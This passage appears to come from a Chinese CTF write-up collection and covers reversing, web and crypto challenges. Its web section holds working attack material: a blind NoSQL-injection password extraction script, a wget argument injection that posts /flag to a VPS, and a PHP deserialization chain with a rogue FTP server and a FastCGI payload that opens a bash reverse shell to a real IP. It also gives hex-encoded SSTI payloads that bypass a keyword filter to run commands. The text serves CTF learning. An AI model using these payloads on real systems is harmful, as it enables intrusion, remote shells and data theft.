*((unsigned __int8 *)v127 + 32) | ((*((unsigned __int8 *)v127 + 33) | (*((unsigned __int16 *)v127 + 17) << 8)) << 8); v86 ^= *((unsigned __int8 *)v127 + 36) | ((*((unsigned __int8 *)v127 + 37) | (*((unsigned __int16 *)v127 + 19) << 8)) << 8); v87 ^= *((unsigned __int8 *)v127 + 44) | ((*((unsigned __int8 *)v127 + 45) | (*((unsigned __int16 *)v127 + 23) << 8)) << 8); v82 ^= *((unsigned __int8 *)v127 + 48) | ((*((unsigned __int8 *)v127 + 49) | (*((unsigned __int16 *)v127 + 25) << 8)) << 8); v83 ^= *((unsigned __int8 *)v127 + 52) | ((*((unsigned __int8 *)v127 + 53) | (*((unsigned __int16 *)v127 + 27) << 8)) << 8); v84 ^= *((unsigned __int8 *)v127 + 56) | ((*((unsigned __int8 *)v127 + 57) | (*((unsigned __int16 *)v127 + 29) << 8)) << 8); v85 ^= *((unsigned __int8 *)v127 + 60) | ((*((unsigned __int8 *)v127 + 61) | (*((unsigned __int16 *)v127 + 31) << 8)) << 8); v75 ^= *((unsigned __int8 *)v127 + 40) | ((*((unsigned __int8 *)v127 + 41) | (*((unsigned __int16 *)v127 + 21) << 8)) << 8); } // data copy do { *v90 = v90[(char *)&v122 - a3]; ++v90; --v91; } while ( v91 ); result = a1; a1[12] = v105; a1[13] = v100; return result; } 这个函数看起来复杂,实际上就是把key进行很复杂的操作之后,和输入进行异或,所以只需要dump出key就可以得到flag exp #include <stdio.h> #include <stdlib.h> #include <inttypes.h> #include <string.h> #include "defs.h" #include <stdint.h> void decrypt(uint32_t *v) { uint32_t v7, v8, v6, v5, v4, v3; v4 = 32; uint32_t v11[] = {114, 514, 19, 19}; v7 = 0x9e3779b9 * 32; v5 = 0x1130BE1B; v3 = 0x63747443; do { v8 = (v7 >> 2) & 3; v3 -= ((v7 ^ v5) + (v5 ^ v11[v8 ^ 1])) ^ (((16 * v5) ^ (v5 >> 3)) + ((v5 >> 5) ^ (4 * v5))); v6 = v3; v5 -= ((v7 ^ v3) + (v6 ^ v11[v8])) ^ (((16 * v6) ^ (v3 >> 3)) + ((v6 >> 5) ^ (4 * v3))); --v4; v7 -= 0x9e3779b9; } while (v4); v[0] = v5; v[1] = v3; } int main() { uint32_t k[] = {114, 514, 19, 19}; uint8_t p[] = "12345678"; uint32_t c[] = {288407067, 1668576323}; decrypt(c); printf("%sn", c); for (size_t i = 0; i < 8; i++) { printf("0x%02x,", *(uint8_t *)&c[i]); } printf("n"); char key[] = "expand 32-byte k0N3@aYI_M3l0dy_KurOm1_W_Suk1dqy0x01x00x00x00x00x00x00x00dotitsit"; uint8_t data[] = {0xeb, 0x8e, 0x5c, 0xa5, 0x62, 0xb4, 0x1c, 0x84, 0x5c, 0x59, 0xfc, 0xd, 0x43, 0x3c, 0xab, 0x20, 0xd8, 0x93, 0x33, 0x13, 0xa1, 0x9e, 0x39, 0x0, 0x76, 0x14, 0xb5, 0x4, 0x58, 0x9d, 0x6, 0xb8}; uint8_t res[128] = {0}; uint32_t k0=0xC23DE28D; uint32_t *d=(uint32_t*)data; d[0]^=k0; d[1]^=0xca2df219; d[2]^=0x52cf1418; d[3]^=0x139c5a77; d[4]^=0x5b04ccaa; d[5]^=0x680cc192; d[6]^=0x47F95845; d[7]^=0xC535D968; printf("%sn",d); } shell解题思路 main中创建了子进程,父子进程反调试 找到个dump 子进程的程序 https://github.com/glmcdona/Process-Dump pd -pid <子进程pid> 其中子进程pid可以调试获得 ida打开dump后的子进程如下 .text:000001FA6C311160 push rsi .text:000001FA6C311161 push rdi .text:000001FA6C311162 sub rsp, 28h .text:000001FA6C311166 lea rcx, Format ; "plz input your flagn" .text:000001FA6C31116D call sub_1FA6C3112B0 .text:000001FA6C311172 lea rcx, a42s ; "%42s" .text:000001FA6C311179 lea rsi, known_string ; 这个就是0x40a0 .text:000001FA6C311180 mov rdx, rsi .text:000001FA6C311183 call scanf .text:000001FA6C311188 int 3 ; Trap to Debugger .text:000001FA6C311189 ; --------------------------------------------------------------------------- .text:000001FA6C311189 mov rcx, rsi ; Str .text:000001FA6C31118C call strlen .text:000001FA6C311191 cmp rax, 0C9h .text:000001FA6C311197 jb short near ptr unk_1FA6C31119E .text:000001FA6C311199 call sub_1FA6C311020 .text:000001FA6C311199 ; --------------------------------------------------------------------------- .text:000001FA6C31119E unk_1FA6C31119E db 0C4h ; CODE XREF: main+37↑j .text:000001FA6C31119F db 12h 结合主进程中的调试函数 int __fastcall sub_7FF6C56B1560(_DWORD *a1) { // ... if ( *a1 == 0x80000003 ) { v5 = qword_7FF6C56B5630; if ( qword_7FF6C56B5630 ) { Context.ContextFlags = 1048587; if ( !GetThreadContext(hThread, &Context) ) { v6 = GetLastError(); printf("GetThreadContext failed: %llxn", v6); } ReadProcessMemory(hProcess, (LPCVOID)(qword_7FF6C56B5638 + 0x40A0), v13, 0x2Aui64, &NumberOfBytesRead); v7 = _mm_load_si128((const __m128i *)&xmmword_7FF6C56B3420); for ( i = 0i64; i < 32; i += 16i64 ) *(__m128i *)&v13[i] = _mm_xor_si128(_mm_loadu_si128((const __m128i *)&v13[i]), v7); for ( j = 32i64; j < 42; ++j ) v13[j] ^= 0x78u; WriteProcessMemory(hProcess, (LPVOID)(qword_7FF6C56B5638 + 0x40A0), v13, 0x2Aui64, &NumberOfBytesRead); v5 = qword_7FF6C56B5630; } v1 = v5 + 1; qword_7FF6C56B5630 = v1; goto LABEL_21; } if ( (_DWORD)v1 == 0xC000001D ) { Context.ContextFlags = 1048587; if ( !GetThreadContext(hThread, &Context) ) { v2 = GetLastError(); printf("GetThreadContext failed: %llxn", v2); } ReadProcessMemory(hProcess, (LPCVOID)(Context.Rip + 1), Buffer, 1ui64, &NumberOfBytesRead); if ( Buffer[0] == 0x12 ) { v3 = qword_7FF6C56B5638 + 0x1035; } else { if ( Buffer[0] != 0x48 ) goto LABEL_10; v3 = qword_7FF6C56B5638 + 0x1242; } Context.Rip = v3; LABEL_10: LODWORD(v1) = SetThreadContext(hThread, &Context); if ( !(_DWORD)v1 ) { v4 = GetLastError(); LODWORD(v1) = printf("SetThreadContext failed: %llxn", v4); } LABEL_21: *(_QWORD *)&dwContinueStatus = 65537i64; } return v1; } 可以得到替换了三处 1.用户的输入都异或0x78 2.如果遇到未知指令且指令下一个字节是0x12就去0x1035文件偏移 3.如果遇到未知指令且指令下一字节是0x48就去0x1242文件偏移 此时再看子进程主函数,可以得到流程 0x1035文件偏移为 .text:000001FA6C311035 mov [rsp+arg_28], 0 .text:000001FA6C31103D .text:000001FA6C31103D loc_1FA6C31103D: ; CODE XREF: sub_1FA6C311020+A5↓j .text:000001FA6C31103D cmp [rsp+arg_28], 2Ah ; '*' .text:000001FA6C311042 jge near ptr unk_1FA6C3110CA .text:000001FA6C311048 movsxd rax, [rsp+arg_28] .text:000001FA6C31104D lea rcx, known_string .text:000001FA6C311054 mov al, [rcx+rax] .text:000001FA6C311057 mov [rsp+arg_25], al .text:000001FA6C31105B mov eax, [rsp+arg_28] .text:000001FA6C31105F mov [rsp+arg_24], al .text:000001FA6C311063 movzx eax, [rsp+arg_25] .text:000001FA6C311068 movzx ecx, [rsp+arg_24] .text:000001FA6C31106D and eax, ecx .text:000001FA6C31106F xor eax, 0FFFFFFFFh .text:000001FA6C311072 mov [rsp+arg_23], al .text:000001FA6C311076 movzx eax, [rsp+arg_23] .text:000001FA6C31107B movzx ecx, [rsp+arg_25] .text:000001FA6C311080 and eax, ecx .text:000001FA6C311082 xor eax, 0FFFFFFFFh .text:000001FA6C311085 mov [rsp+arg_27], al .text:000001FA6C311089 movzx eax, [rsp+arg_23] .text:000001FA6C31108E movzx ecx, [rsp+arg_24] .text:000001FA6C311093 and eax, ecx .text:000001FA6C311095 xor eax, 0FFFFFFFFh .text:000001FA6C311098 mov [rsp+arg_26], al .text:000001FA6C31109C movzx eax, [rsp+arg_27] .text:000001FA6C3110A1 movzx ecx, [rsp+arg_26] .text:000001FA6C3110A6 and eax, ecx .text:000001FA6C3110A8 xor eax, 0FFFFFFFFh .text:000001FA6C3110AB movsxd rcx, [rsp+arg_28] .text:000001FA6C3110B0 lea rdx, known_string .text:000001FA6C3110B7 mov [rdx+rcx], al .text:000001FA6C3110BA mov eax, [rsp+arg_28] .text:000001FA6C3110BE add eax, 1 .text:000001FA6C3110C1 mov [rsp+arg_28], eax .text:000001FA6C3110C5 jmp loc_1FA6C31103D .text:000001FA6C3110C5 ; --------------------------------------------------------------------------- .text:000001FA6C3110CA unk_1FA6C3110CA db 0C4h ; CODE XREF: sub_1FA6C311020+22↑j .text:000001FA6C3110CB db 48h 接下来是0x1242 .text:000001FA6C311242 mov eax, 2 .text:000001FA6C311247 lea rcx, unk_1FA6C314030 .text:000001FA6C31124E xchg ax, ax .text:000001FA6C311250 .text:000001FA6C311250 loc_1FA6C311250: ; CODE XREF: main+117↓j .text:000001FA6C311250 movzx edx, byte ptr [rax+rsi-2] .text:000001FA6C311255 cmp dl, [rax+rcx-2] .text:000001FA6C311259 jnz short loc_1FA6C31128E .text:000001FA6C31125B movzx edx, byte ptr [rax+rsi-1] .text:000001FA6C311260 cmp dl, [rax+rcx-1] .text:000001FA6C311264 jnz short loc_1FA6C31128E .text:000001FA6C311266 movzx edx, byte ptr [rax+rsi] .text:000001FA6C31126A cmp dl, [rax+rcx] .text:000001FA6C31126D jnz short loc_1FA6C31128E .text:000001FA6C31126F add rax, 3 .text:000001FA6C311273 cmp rax, 2Ch ; ',' .text:000001FA6C311277 jnz short loc_1FA6C311250 .text:000001FA6C311279 lea rcx, aWin ; "winn" .text:000001FA6C311280 call sub_1FA6C3112B0 .text:000001FA6C311285 xor eax, eax .text:000001FA6C311287 add rsp, 28h .text:000001FA6C31128B pop rdi .text:000001FA6C31128C pop rsi .text:000001FA6C31128D retn .text:000001FA6C31128E ; --------------------------------------------------------------------------- .text:000001FA6C31128E .text:000001FA6C31128E loc_1FA6C31128E: ; CODE XREF: main+F9↑j .text:000001FA6C31128E ; main+104↑j ... .text:000001FA6C31128E lea rcx, aWrong ; "wrongn" .text:000001FA6C311295 call sub_1FA6C3112B0 .text:000001FA6C31129A call cs:getchar .text:000001FA6C3112A0 xor ecx, ecx ; Code .text:000001FA6C3112A2 call cs:__imp_exit .text:000001FA6C3112A2 ; --------------------------------------------------------------------------- .text:000001FA6C3112A8 db 0CCh .text:000001FA6C3112A8 main endp 用户输入先异或0x78,再异或数组下标 exp a=[0x1e, 0x15, 0x1b, 0x1c, 0x7, 0x4d, 0x1f, 0x1b, 0x12, 0x17, 0x4b, 0x44, 0x47, 0x58, 0x12, 0x47, 0x58, 0x58, 0x47, 0x5f, 0x54, 0x54, 0x5 8, 0x42, 0x59, 0x57, 0x50, 0x1, 0x49, 0x51, 0x53, 0x57, 0x3d, 0x6b, 0x3e, 0x6f, 0x3d, 0x6d, 0x6c, 0x3e, 0x69, 0x2c, 0x0, 0x0, 0x0] b=[a[i]^i^0x78 for i in range(len(a))] print(bytes(b))
  7. Web1.Checkin解题思路 这道题 前面根据 源码应该是 nosql注入,我分析的payload:username='||1) {return true;}})//&password=123456 盲注得admin/54a83850073b0f4c6862d5a1d48ea84fimport time import requests import string session = requests.session() chars = string.printable password = '' burp0_url = "http://d8304b2c-689b-4b9f-844a-1c3358bb57de.node4.buuoj.cn:81/login" burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://d8304b2c-689b-4b9f-844a-1c3358bb57de.node4.buuoj.cn:81", "Upgrade-Insecure-Requests": "1", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://d8304b2c-689b-4b9f-844a-1c3358bb57de.node4.buuoj.cn:81/login", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} burp0_data = {"username": "'|| this.password[0] != 'A') {return true;}})//", "password": "test"} for x in range(0,100): for y in chars: burp0_data['username'] = "'|| this.password[" + str(x) + "] == '" + y + "') {return true;}})//" response = session.post(burp0_url, headers=burp0_headers, data=burp0_data) # print(response.text) if 'successfully' in response.text: password += y print(password) break time.sleep(0.06) # username:admin # pwd:54a83850073b0f4c6862d5a1d48ea84f/wget?argv=a&argv=--post-file&argv=/flag&argv=http://vps:5555/flag{67317c21-32f6-42c2-b04b-8b328a5f33ae}2.eaaasyphp本地写shell <?php class Check { public static $str1 = false; public static $str2 = false;} class Esle { public function __wakeup(){ Check::$str1 = true; }} class Hint { public function __wakeup(){ $this->hint = "no hint"; } public function __destruct(){ if(!$this->hint){ $this->hint = "phpinfo"; ($this->hint)(); } }} class Bunny {public $filename; public function __toString(){echo "tostring"; if (Check::$str2) { if(!$this->data){ $this->data = $_REQUEST['data']; } file_put_contents($this->filename, $this->data); } else { throw new Error("Error"); } }} class Welcome {public $bbb; public function __invoke(){ Check::$str2 = true; return "Welcome" . $this->username; }} class Bypass {public $aaa;public $str4; public function __destruct(){ if (Check::$str1) { ($this->str4)(); } else { throw new Error("Error"); } }}$check = new Check();$esle = new Esle(); $a = new Bypass();$b = new Welcome();$c = new Bunny(); $c->filename = "shell.txt";$c->data = "111111"; $b->username = $c;$b->bbb = $check;$a->aaa = $esle;$a->str4 = $b; echo serialize($a); 但是远程不通 O%3A6%3A"Bypass"%3A2%3A%7Bs%3A3%3A"aaa"%3BO%3A4%3A"Esle"%3A0%3A%7B%7Ds%3A4%3A"str4"%3Bs%3A7%3A"phpinfo"%3B%7D 之后发现题目环境不能写shell,所以考虑使用file_put_contents攻击php-fpm 然后在 VPS 上运行以下脚本,搭建一个恶意的 FTP 服务器: # evil_ftp.py import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 23)) s.listen(1) conn, addr = s.accept() conn.send(b'220 welcome\n') #Service ready for new user. #Client send anonymous username #USER anonymous conn.send(b'331 Please specify the password.\n') #User name okay, need password. #Client send anonymous password. #PASS anonymous conn.send(b'230 Login successful.\n') #User logged in, proceed. Logged out if appropriate. #TYPE I conn.send(b'200 Switching to Binary mode.\n') #Size / conn.send(b'550 Could not get the file size.\n') #EPSV (1) conn.send(b'150 ok\n') #PASV conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2) conn.send(b'150 Permission denied.\n') #QUIT conn.send(b'221 Goodbye.\n') conn.close() 使用gopherus生成反弹shell的payload %01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/116.62.104.172/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00poc: <?php class Check { public static $str1 = false; public static $str2 = false; } class Esle { public function __wakeup() { Check::$str1 = true; } } class Hint { public function __wakeup(){ $this->hint = "no hint"; } public function __destruct(){ if(!$this->hint){ $this->hint = "phpinfo"; ($this->hint)(); } } } class Bunny { public $filename; public function __toString() { echo "tostring"; if (Check::$str2) { if(!$this->data){ $this->data = $_REQUEST['data']; } file_put_contents($this->filename, $this->data); } else { throw new Error("Error"); } } } class Welcome { public $bbb; public function __invoke() { Check::$str2 = true; return "Welcome" . $this->username; } } class Bypass { public $aaa; public $str4; public function __destruct() { if (Check::$str1) { ($this->str4)(); } else { throw new Error("Error"); } } } $check = new Check(); $esle = new Esle(); $a = new Bypass(); $b = new Welcome(); $c = new Bunny(); $c->filename = "ftp://aaa@vps/123"; $c->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/vps/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"); $b->username = $c; $b->bbb = $check; $a->aaa = $esle; $a->str4 = $b; echo urlencode(serialize($a)); 运行python脚本 监听2333端口,发送payload,得到shell ?code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A3%3A%22aaa%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A2%3A%7Bs%3A3%3A%22bbb%22%3BO%3A5%3A%22Check%22%3A0%3A%7B%7Ds%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A31%3A%22ftp%3A%2F%2Faaa%40116.62.104.172%3A23%2F123%22%3Bs%3A4%3A%22data%22%3Bs%3A416%3A%22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo+%2F+fcgiclient+%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include+%3D+On%0Adisable_functions+%3D+%0Aauto_prepend_file+%3D+php%3A%2F%2Finput%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0D%01DOCUMENT_ROOT%2F%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp+system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F116.62.104.172%2F2333+0%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00%22%3B%7D%7D%7D 3.MagicMail注入点这个题目很有意思,赛后根据官方wp进行复现首先是,我们需要输入一个有smtp服务的ip和相应的端口,这个可以在自己的vps起一个smtp服务python3 -m smtpd -c DebuggingServer -n 0.0.0.0:6667输入自己的服务器ip和6667(ip和port根据自己的情况修改) 然后就是一个可以发送邮件的功能在email的内容那里,存在模板注入测试输入{{7*7}}将收到的字符串进行base64解码,发现是存在SSTI的测试模板注入接下来就是比较常规的模板注入环节了在测试中,某些情况会回显hack,这是因为过滤了关键的字符串'class', 'mro', 'base', 'request', 'session', '+', 'add', 'chr', 'u', '.', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', ' ', '_'有的情况下,会回显error,关于这个回显我的理解是,类的方法调用出现了问题,即类不支持该方法调用,所以返回error(如果有更好的理解欢迎在评论区指出)查看所有的类{{"".__class__.__base__.__subclasses__()}}经过Hex编码后{{""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()}} 这个回显的类太多了,看不过来。。。2333,下面是部分的类的截图序号为134的类名称为sitebuiltins._Printer,是可用的,存在命令执行但是使用的时候,需要进行hex编码绕过过滤,关于SSTI绕过的相关操作,参考链接:利用|attr()进行Bypass贴一下wp{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")|attr("__getitem__")(134)|attr("__init__")|attr("__globals__")|attr("__getitem__")|attr("__builtins__")|attr("__getitem__")("eval")("__import__("os").popen("cat /flag").read()")}}然后进行hex编码绕过过滤{{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(134)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x65\x76\x61\x6c")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x70\x6f\x70\x65\x6e\x28\x22\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x22\x29\x2e\x72\x65\x61\x64\x28\x29")}}贴一下大佬的payload(大佬的payload中使用的是attr("__mro__")|attr("__getitem__")(1)代替了attr("__base__")),并且是采用了部分编码的方式绕过过滤{{()|attr("\x5f\x5fc\x6cass\x5f\x5f")|attr("\x5f\x5fmr\x6f\x5f\x5f")|attr("\x5f\x5fge\x74item\x5f\x5f")(1)|attr("\x5f\x5f\x73\x75\x62cl\x61ss\x65s\x5f\x5f")()|attr("\x5f\x5fge\x74item\x5f\x5f")(134)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglob\x61ls\x5f\x5f")|attr("\x5f\x5fge\x74item\x5f\x5f")("\x5f\x5fb\x75\x69ltins\x5f\x5f")|attr("\x5f\x5fge\x74item\x5f\x5f")("ev\x61l")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x70\x6f\x70\x65\x6e\x28\x22\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x22\x29\x2e\x72\x65\x61\x64\x28\x29")}}将返回的信息,进行base64解码,得到flag Crypto1.Civet cat for Prince解题思路 from pwn import * from parse import * from pwnlib.util.iters import bruteforce import string from hashlib import sha256 import hashlib def brute_force(prefix,s): return bruteforce(lambda x:sha256((x+prefix).encode("ascii")).hexdigest()==s,string.ascii_letters+string.digits,length=4,method='fixed') r=remote('node4.buuoj.cn',27219) pow_line = r.recvline().decode("ascii") pow_prefix, pow_hash = parse("[+] sha256(XXXX+{}) == {}\n",pow_line) r.recvuntil('Give Me XXXX :') r.sendline(brute_force(pow_prefix,pow_hash)) r.recvuntil('2.Go away\n') r.sendline('1') r.recvuntil('\n') r.sendline('Princepermission') r.recvuntil('She will play with you\n') self_iv = r.recvline()[6:-1] r.recvuntil('3.say Goodbye\n') r.sendline('1') r.recvuntil("Here you are~\n") permission = r.recvline()[11:-1] prince_permission=permission[:16] r.sendline('2') r.recvuntil('Give me your permission:\n') r.sendline(self_iv) r.recvuntil('Miao~ \n') r.sendline(b'\x00'*16) r.recvuntil('The message is ') plain_prev=r.recvline()[:-1] iv_prev=bytes([a^b for (a,b) in zip(plain_prev, b'Princepermission') ]) r.sendline('2') r.recvuntil('Give me your permission:\n') r.sendline(self_iv+prince_permission) r.recvuntil('Miao~ \n') r.sendline(iv_prev) r.recvuntil('The message is ') plain=r.recvline()[:-1] print(plain) r.recvuntil('Give me your permission:\n') r.sendline(self_iv+prince_permission) r.recvuntil("What's the cat tell you?\n") r.sendline(iv_prev) r.interactive()或者#!/usr/bin/env python3 # -*- coding: utf-8 -*- import hashlib from pwn import * from itertools import product import string context.log_level = 'debug' table = string.ascii_letters + string.digits class Solve: def __init__(self): # self.sh = remote('192.168.56.1', 10005) self.sh = remote('node4.buuoj.cn', 29129) self._Princepermission = b'Princepermission' self._a_cat_permission = b'a_cat_permission' self.iv = b'' self.cipher_name = b'' self.payload_cipher = b'' self.payload_iv = b'' def proof_of_work(self): """ [+] sha256(XXXX+Q3kqSv2c) == e9ded46c9d0dbcf14d8c36852678fe59daec43b1025c282738a81e7ea9f395f9 [+] Give Me XXXX : """ proof = self.sh.recvline() tail = proof[16:24].decode() HASH = proof[29:93].decode() for i in product(table, repeat=4): head = ''.join(i) t = hashlib.sha256((head + tail).encode()).hexdigest() if t == HASH: self.sh.recvuntil(b'[+] Give Me XXXX :') self.sh.sendline(head.encode()) break def solve_BANNER(self, _name): self.sh.sendlineafter(b'[-]', b'1') self.sh.sendlineafter(b'[-]', _name) self.sh.recvline() self.sh.recvline() self.sh.recvuntil(b'Miao~ ') self.iv = self.sh.recvuntil(b"I'm a")[:-6] print(len(self.iv)) def solve_NAME(self): self.sh.sendlineafter(b'[-]', b'1') self.sh.recvuntil(b'Permission:') self.cipher_name = self.sh.recvuntil(b"I'm a")[:-6] self.cipher_name = self.cipher_name self.payload_cipher = xor(xor(self.cipher_name[:16], self._a_cat_permission), self._Princepermission) + self.cipher_name[16:32] def solve_Princepermission(self): self.sh.sendlineafter(b'[-]', b'2') self.sh.sendlineafter(b'[-]', self.payload_cipher[:16]) self.sh.sendlineafter(b'[-]', self.iv) self.sh.recvuntil(b'The message is ') self.payload_iv = xor(xor(self.sh.recvuntil(b'1.getpermission')[:16], self.iv), self._Princepermission) def solve_flag(self): self.sh.sendlineafter(b'[-]', self.payload_cipher) self.sh.sendlineafter(b'[-]', self.payload_iv) self.sh.recvuntil(b'The prince asked me to tell you this:\n') flag = self.sh.recvline() print(flag) def solve(self): self.proof_of_work() self.solve_BANNER(self._Princepermission) # get cipher_name # chance ====> 2 self.solve_NAME() # get cipher_Princepermission # chance ====> 1 self.solve_Princepermission() # chance ====> 0 self.sh.sendlineafter(b'[-]', b'3') # get flag self.solve_flag() if __name__ == '__main__': solution = Solve() solution.solve() 2.easytask解题思路 from sage.modules.free_module_integer import IntegerLattice e = [151991736758354,115130361237591,58905390613532,130965235357066,74614897867998,48099459442369,45894485782943,7933340009592,25794185638] W = [[-10150241248,-11679953514,-8802490385,-12260198788,-10290571893,-334269043,-11669932300,-2158827458,-7021995],\ [52255960212,48054224859,28230779201,43264260760,20836572799,8191198018,14000400181,4370731005,14251110],\ [2274129180,-1678741826,-1009050115,1858488045,978763435,4717368685,-561197285,-1999440633,-6540190],\ [45454841384,34351838833,19058600591,39744104894,21481706222,14785555279,13193105539,2306952916,7501297],\ [-16804706629,-13041485360,-8292982763,-16801260566,-9211427035,-4808377155,-6530124040,-2572433293,-8393737],\ [28223439540,19293284310,5217202426,27179839904,23182044384,10788207024,18495479452,4007452688,13046387],\ [968256091,-1507028552,1677187853,8685590653,9696793863,2942265602,10534454095,2668834317,8694828],\ [33556338459,26577210571,16558795385,28327066095,10684900266,9113388576,2446282316,-173705548,-577070],\ [35404775180,32321129676,15071970630,24947264815,14402999486,5857384379,10620159241,2408185012,7841686]] c = "1070260d8986d5e3c4b7e672a6f1ef2c185c7fff682f99cc4a8e49cfce168aa0" def CVP(lattice, target): print("executing Gram_Schmidt") gram = lattice.gram_schmidt()[0] print("Finish") t = target for i in reversed(range(lattice.nrows())): c = ((t * gram[i]) / (gram[i] * gram[i])).round() t -= lattice[i] * c return target - t A = matrix(ZZ, W) B = matrix(ZZ, W) print("Executing LLL") lattice = IntegerLattice(B, lll_reduce=True) print("Finish") target = vector(ZZ, e) P=CVP(lattice.reduced_basis,target) solution=A.solve_left(P) import hashlib from Crypto.Cipher import AES c = "1070260d8986d5e3c4b7e672a6f1ef2c185c7fff682f99cc4a8e49cfce168aa0" M=[877, 619, 919, 977, 541, 941, 947, 1031, 821] key = hashlib.sha256(str(M).encode()).digest() cipher = AES.new(key, AES.MODE_ECB) 3.mostlycommon 下载附件,一个是输出,一个是加密脚本。 查看加密脚本 from Crypto.Util.number import bytes_to_long, getPrime f = open('flag.txt', 'rb')flag = f.read()f.close()m = bytes_to_long(flag)p = getPrime(512)q = getPrime(512)n = p * qe1 = 65536e2 = 270270c1 = pow(m, e1, n)c2 = pow(m, e2, n)f = open('message.txt', 'w')f.write('n=' + str(n) + '\n')f.write('c1=' + str(c1) + '\n')f.write('c2=' + str(c2) + '\n')f.close()发现是共模攻击,网上相关脚本比较多: from Crypto.PublicKey import RSA import libnum import gmpy2 n=122031686138696619599914690767764286094562842112088225311503826014006886039069083192974599712685027825111684852235230039182216245029714786480541087105081895339251403738703369399551593882931896392500832061070414483233029067117410952499655482160104027730462740497347212752269589526267504100262707367020244613503 c1=39449016403735405892343507200740098477581039605979603484774347714381635211925585924812727991400278031892391996192354880233130336052873275920425836986816735715003772614138146640312241166362203750473990403841789871473337067450727600486330723461100602952736232306602481565348834811292749547240619400084712149673 c2=43941404835820273964142098782061043522125350280729366116311943171108689108114444447295511969090107129530187119024651382804933594308335681000311125969011096172605146903018110328309963467134604392943061014968838406604211996322468276744714063735786505249416708394394169324315945145477883438003569372460172268277 e1 = 65536 e2 = 270270 s = gmpy2.gcdext(e1,e2) print(gmpy2.gcd(e1,e2)) print(s) s1 = s[1] s2 = s[2] if s1<0: s1 = -s1 c1 = gmpy2.invert(c1, n) elif s2<0: s2 = -s2 c2 = 